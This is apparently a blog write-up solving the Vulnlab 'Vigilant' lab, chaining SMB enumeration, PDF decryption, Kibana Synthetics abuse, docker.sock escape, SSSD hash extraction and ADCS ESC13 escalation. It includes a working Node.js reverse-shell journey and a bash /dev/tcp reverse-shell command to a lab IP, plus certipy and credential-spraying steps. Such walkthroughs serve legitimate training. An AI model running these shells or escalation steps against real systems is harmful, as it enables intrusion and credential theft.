Vulnlab — Vigilant

ARZ101
11 min readApr 30, 2024

Vigilant a hard rated chained machine involved enumerating smb shares to find an encrypted pdf file, analyzing the ADAudit dll file to decrypt the contents of the file revealing credentials for kibana, using synthetic monitoring to obtain a shell on docker container, breaking out of the container through docker sock by creating a container and mounting the host file system, recovering hash from SSSD for a domain user and escalating to local admin on domain controller through ESC13

DC.vigilant.vl

PORT     STATE SERVICE           VERSION          
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-04-21 16:06:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vigilant.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldapssl?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vigilant.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.vigilant.vl
3269/tcp open globalcatLDAPssl?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.vigilant.vlc
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: VIGILANT
| NetBIOS_Domain_Name: VIGILANT
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: vigilant.vl
| DNS_Computer_Name: DC.vigilant.vl
| Product_Version: 10.0.20348
|_ System_Time: 2024-04-21T16:06:29+00:00
5601/tcp open esmagent
9200/tcp open wap-wsp?
| ssl-cert: Subject: commonName=instance
| Subject Alternative Name: IP Address:127.0.0.1, DNS:dc.vigilant.vl

SRV

PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96c0d790bbcc7716c6e1a503f1ca5c25 (ECDSA)
|_ 256 1223dbbbd8563e14197104342c224965 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Vigilant Cybersecurity
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

PORT 80

Visiting the webserver, it shows us one pager site having nothing out of interest

PORT 445 (SMB)

Listing smb shares with anonymous user

IT share can be accessed anonymously having password policy reoport which seems to be encrypted judging from the file name

On opening this file, it won’t be recognized by document reviewer as the contents of this file are encrypted

Decrypting the PDF File By Analyzing the Encrypt function

Since this report was generated by ADAudit tool, it’s possible that there might be something we need to grab from there, downloading ADAudit.dll file from share

On analyzing the dll file with ILSpy we'll get the password for svc_auditreporter

Verifying these credentials through netexec to see if they are valid

We can also find what algorithm was used to encrypt the pdf file from ADAuditLib.dll

For encrypting the contents, it’s using XORing with key and then performing bitwise operations, the key here is generated with the seed 12345 which will return the same value, afterwards it's shuffling the bytes with ShuffleBytes function and then writing the output, for decrypting it we can reverse the shuffling of bytes

private static void UnshuffleBytes(ref byte[] data)
{
for (int i = data.Length - 2; i >= 0; i -= 2)
{
byte b = data[i];
data[i] = data[i - 1];
data[i - 1] = b;
}
}

Reverse the XORing and bitwise part

for (int i = 0; i < data.Length; i++)
{
data[i] = (byte)((data[i] >> 4) | (data[i] << 4));
data[i] ^= array[i % array.Length];
}

The resulting code will look like this for decryption

using System;
using System.IO;
public static class DecryptionUtility
{
public static void DecryptFile(string encryptedFilePath)
{
if (!File.Exists(encryptedFilePath))
{
throw new FileNotFoundException();
}
byte[] data = File.ReadAllBytes(encryptedFilePath);
UnshuffleBytes(ref data);
byte[] array = GenerateKey(data.Length);
for (int i = 0; i < data.Length; i++)
{
data[i] = (byte)((data[i] >> 4) | (data[i] << 4));
data[i] ^= array[i % array.Length];
}
string decryptedFilePath = encryptedFilePath.Replace("_encrypted", "_decrypted");
File.WriteAllBytes(decryptedFilePath, data);
}
private static void UnshuffleBytes(ref byte[] data)
{
for (int i = data.Length - 2; i >= 0; i -= 2)
{
byte b = data[i];
data[i] = data[i - 1];
data[i - 1] = b;
}
}
private static byte[] GenerateKey(int length)
{
byte[] array = new byte[length];
new Random(12345).NextBytes(array);
return array;
}
static public void Main(String[] args)
{
DecryptFile("E:\\Password_Strength_Report_encrypted.pdf");
}
}

Running this will decrypt the file present us with 4 set of user creds

Spraying these creds, we’ll get 3 valid hits and one user having password expired

Enumerating the domain first to see if we can go anywhere from the users we have

python3 /opt/BloodHound.py/bloodhound.py  -u 'svc_auditreporter' -p 'pass' -d vigilant.vl -dc DC.vigilant.vl -ns 10.10.224.85

We have pamela.clark belonging to TECHSUPPORTERS group

Alex.powell belonging to ADTeams

Edwin.Dixon in Accountants group

And Daniel.Washington in MarketingStartegies group

Accessing Kibana With Pamela

But this doesn’t further lead to anywhere on the domain, the domain controller has instance of Kibana running on port 5601, with Pamela’s password we can login

Kibana is used for data visualization to detect patterns, monitor the environment, look for abnormal behavior, representing it in the form of graph and charts, here we are a superuser so we pretty much control over this instance of kibana

But we need to figure out the agents using kibana and how to achieve access on those hosts, agents can be listed through Fleets http://dc.vigilant.vl:5601/app/fleet

There are two agents, one is the linux server and the other is domain controller, so most likely we’ll be dealing with the linux machine as we have the integration for html page that we saw earlier

Googling around a way to execute commands or get a shell from kibana lead us to nowhere until taking a hint from vulnlab’s wiki, that we can achieve it from Synthetics , which is used for monitoring and test if the web site is functioning correctly

We already have the marketing page being monitored, we can run test scripts on this page, to do that we need to create what is called a monitor , there's already a monitor configured, which is using type script to visit the marketing page

Using this script we can use file protocol to read local files like /etc/passwd

As soon as this test will be completed it will take a screenshot, having the result

Getting a reverse shell through synthetic monitor

However just having the ability to read local files won’t lead us anywhere, we need to get a shell , the script that we have used it’s playwright, an open source nodejs library for browser testing, when using child_process to execute system command we'll get an error that only step definitions are allowed with inline scripts

For using external packages like child_process, we need to create journey which is a complete step of doing something rather than creating a monitor which just checks if the page is loading correctly. According to the documentation we first need to initialize the synthetic project

npx @elastic/synthetics init test

At initializing the project, we’ll be asked to provide the API key, generating the project API key from here

Modify the contents of example.journey.ts from the journeys directory

import { journey, step, expect } from '@elastic/synthetics';
journey('Ensure placeholder is correct', ({ page }) => {
step('Load the demo page', async () => {
await page.goto('http://10.8.0.136');
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(2222, "10.8.0.136", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
});
});

Using push to create this project, it will create the monitor

Wait for few minutes for the monitor to be triggered having netcat listener and http server ready

From the filesystem, this seems like we are inside a docker container

Breaking out of container via docker sock

By running capsh we can list down the capabilities of the container but from the output it doesn't seem like it has a capability that we can abuse

Since elastic-agent is part of root group, docker.sock can be mounted which can be used for communicating with docker daemon to mount the host file system

Using deepce we can breakout of docker utilizing docker.sock, to test it we can try reading /etc/shadow from the host by creating a container and mount the file system

We can run system commands on the host, so running a bash reverse shell

deepce.sh --exploit SOCK --command "/bin/bash -c 'bash -i >& /dev/tcp/10.8.0.136/3333 0>&1'"

I placed my ssh public key to login as root just to get a proper shell as the container created didn’t had any binaries

Extracting cached credentials (SSSD creds)

From linpeas, we find that this machine is domain joined and cache credentials is enabled from /etc/sssd/sssd.conf , sssd is responsible for enabling the system to access authentication services such as active directory

Linux systems joined with AD store Kerberos credentials locally in the credential cache file referred to as the ccache. By default sssd maintains a copy of cached credential in /var/lib/sss/db .

With tdbdump we can read the contents of ldb cache file and we want to look for cachedPassword

gabriel.stewart’s sha512crypt hash can be cracked with either john or hashcat

Gabriel is a part of JUNIORADMINS group which is further part of REMOTE MANAGEMENT USERS

Again there are no acls or any special privilege given to gabriel

Running certutil this machine has ADCS installed

Certificate templates can be enumerated with certify but I’ll be using the python version certipy as it had support for ESC13 added ly4k/Certipy#196

Escalating privileges through ESC13

certipy find -u gabriel.stewart -vulnerable -target DC.vigilant.vl -dc-ip 10.10.182.37 -stdout

certipy finds one template which gabriel can enroll, with a linked group Temporary Admins having EKU set to Client Authentication, the template can grant privileges of a linked group to the user who enrolls for it without being part of that group, this is known as ESC13

Having this certificate we can become a local admin to domain controller

certipy req -u 'gabriel.stewart' -ca 'vigilant-CA' -dc-ip 10.10.182.37 -target DC.vigilant.vl -template 'VigilantAdmins' -key-size 4096

Requesting TGT with the certificate

Now logging with winrm again but this time with ticket we obtained since as it represents that we are a member of temporary admin group

References

--

--